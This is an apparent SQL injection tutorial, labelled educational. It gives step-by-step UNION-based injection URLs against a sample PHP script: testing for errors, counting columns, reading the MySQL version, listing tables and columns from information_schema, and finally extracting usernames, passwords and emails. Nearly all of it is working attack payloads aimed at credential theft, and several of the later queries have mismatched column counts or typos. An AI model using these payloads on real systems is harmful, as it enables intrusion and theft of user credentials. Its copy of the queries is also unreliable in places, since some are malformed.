NOTE: INTENDED FOR EDUCATIONAL PURPOSE ONLY.
How to exploit the MySQL injection vulnerability (error bases SQL injection):
1st step: CHECKING FOR A VULNERABILITY
Suppose we have website like this:
http://www.site.com/script.php?id=21
To test this URL, we add a quote to it ‘
http://www.site.com/script.php?id=21′
On executing it, if we get an error like this: “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near ‘\” at line 1“, that means that the target is vulnerable to SQL injections.
If the error message returned is similar to this one: Warning: mysql_real_escape_string(): supplied argument is not a valid MySQL result resource in [file] at [line], then you will need to look for another target as you won’t be able to do SQL injections on that script.
What mysql_real_escape_string does is take a string that is going to be used in a MySQL query and return the same string with all SQL Injection attempts safely escaped. Basically, it will replace those troublesome quotes (‘) a user might enter with a MySQL-safe substitute, an escaped quote \’.
2nd step: FINDING THE COLUMNS
To find number of columns we use statement ORDER BY (tells to the database how to order the result). In order to use, we do increment until we get an error. Like:
http://www.site.com/script.php?id=21 order by 1 <– no error
http://www.site.com/script.php?id=21 order by 2 <– no error
http://www.site.com/script.php?id=21 order by 3 <– no error
http://www.site.com/script.php?id=21 order by 4 <– no error
http://www.site.com/script.php?id=21 order by 5 <– error
// you get message like this: Unknown column ‘5’ in ‘order clause’)
This means that it has 4 columns, cause we got an error for column 5.
3rd step: CHECKING THE FUNCTIONALITY OF THE UNION FUNCTION
The next step is to check the functionality of the union function. This is because using this function we can select more data in one statement only. Example:
http://www.site.com/script.php?id=21 union all select 1,2,3,4
//we already know the number of columns from step 2
If we see some numbers on screen, i.e. 1 or 2 or 3 or 4 that means the UNION works.
4th step: CHECKING THE MySQL VERSION
The first information that we will retrieve is the MySQL version. Lets us assume that while checking for the functionality of the union function, we got number 4 on the screen. So for detecting the version, we will replace number 4 of our query with @@version or version(). Example:
http://www.site.com/script.php?id=21 union all select 1,2,3,@@version
If you get an error union + illegal mix of collations (IMPLICIT + COERCIBLE), we need a convert() function. So for this you may use hex() and unhex():
http://www.site.com/script.php?id=21 union all select 1,2,3,unhex(hex(@@version))
LAST STEP: TABLE(S) AND COLUMN(S) NAME(S)
If the version used on the server is MySQL >=5.x, we will use the information_schema database (this database holds all the tables and columns). So to get it, we use table_name and information_schema. Example:
http://www.site.com/script.php?id=21 union all select 1,2,3,table_name from information_schema.tables
Here we replace the our number 4 with table_name to get the first table from information_schema.tables displayed on the screen. Now we must add
LIMIT to the end of query to list out each table. Example:
http://www.site.com/script.php?id=21 union all select 1,2,3,4table_name from information_schema.tables limit 0,1
Now to view the second table, we change limit 0, 1 to limit 1, 1 (the second table is displayed):
http://www.site.com/script.php?id=21 union all select 1,2,table_name from information_schema.tables limit 1,1
For third table we use limit 2,1:
http://www.site.com/script.php?id=21 union all select 1,2,table_name from information_schema.tables limit 2,1
Keep incrementing until you get some useful like db_admin, auth, auth_user, login_username, login_password etc.
To get the column names the method is the same. Here we use column_name and information_schema.columns. Example:
http://www.site.com/script.php?id=21 union all select 1,2,3,column_name from information_schema.columns limit 0,1
The first column name is displayed. For second column we will change the limit for 0,1 to 1,0 and so on. If you want to display column names for specific table use where clause: let us assume that we have found a table ‘user’. Example:
http://www.site.com/script.php?id=21 union all select 1,2,3,column_name from information_schema.columns where table_name=’users’
Note: that this won’t work if the magic quotes is ON.
Now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
Let’s say that we found columns user, pass and email. Now to complete query to put them all together using concat():
http://www.site.com/script.php?id=21 union all select 1,2,3,concat(user,0x3a,pass,0x3a,email) from users
Note: 0x3a is hex value for colon.
The result is user:pass:email from table users!